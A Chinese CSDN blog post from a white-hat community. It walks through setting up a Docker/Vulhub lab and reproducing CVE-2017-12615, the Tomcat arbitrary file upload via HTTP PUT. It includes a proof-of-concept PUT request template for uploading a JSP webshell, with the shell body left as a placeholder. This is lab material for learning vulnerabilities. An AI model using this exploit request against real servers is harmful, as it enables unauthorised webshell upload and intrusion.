搭建tomcat_Docker搭建tomcat漏洞复现环境

本文介绍了如何利用Docker搭建Tomcat环境,包括docker的安装、Vulhub项目的使用,以及CVE-2017-12615漏洞的复现过程,详细阐述了如何通过PUT方法上传文件。
摘要由CSDN通过智能技术生成

白帽子社区国庆活动详情将于明天上午十点准时发布!点击“白帽子社区国庆活动”可跳转到本次活动简介页面,欢迎各位转发本次活动链接,参与者皆有可能获得社区本次送出的国庆活动礼品一份!

本文出自社区攻防研究组 Ca1y0n


一、docker安装

修改apt源 可以从网上百度国内的源,这里用的是阿里云的

参考链接:

https://blog.csdn.net/qq_38038143/article/details/82978836

1、安装docker环境

f03739f8cbf8bb5a767f7267494826a4.png

8bbe4a6b9ce9420d3cbc823b4c39ac96.png

b36bbd6b57169d7f15764ad11d4dddf3.png

二、环境搭建

1、Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

项目地址:

https://github.com/vulhub/vulhub

2、下载项目

wget https://github.com/vulhub/vulhub/archive/master.zip-O vulhub-master.zip

#自动化编译环境

 sudo docker-compose build

#启动整个环境

sudo docker-compose up -d

3e70ece3f0b86f33a9f3ff684534cb38.png

构建完成后访问你的ip:8080进入到tomcat界面

73aac4a382088a5994658408c972f4ba.png

三、漏洞复现

CVE-2017-12615 Tomcat任意文件上传漏洞

在tomcat下的conf文件夹下有一个web.xml文件,找到default servlet的配置项,也是在这个web.xml文件中,已经注释的地方说明了默认情况下readonly是true,并且如果是true的话,那么PUT和DELETE方法是被拒绝的,因此如果手动将readonly选项开启为false,那么就能够通过PUT方法上传文件了。

bf2a502b092c4b485743a99898ec8941.png

fe1ee4655340292a88030f80d8629497.png

写入paylaod:

fe6d3dc2e6f03253d126e99dd7d63fe6.png

访问

0ab076486a4f431ed6e6344f063e8443.png

上传小马

cf53fc05b640f3a12f4cb5280f3f1c56.png

4b8e9fd5a1ed1b634b5b90b9a9420da5.png

POC:

PUT /1.jsp/ HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type:application/x-www-form-urlencodedContent-Length: 25此处写入shell

本文为9-30直播内容文字版,直播录屏请在直播回顾中点击查看。

▼ 往期精彩回顾 ▼CTF中常见的加解密集合技术分享 | 一次偶然的渗透测试从Byte CTF中WEB赛题学习一个更有用的姿势 ▼ 更多技术资讯,请关注我们 ▼

58cb580f37f55fc84bfa1b61db38ed95.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值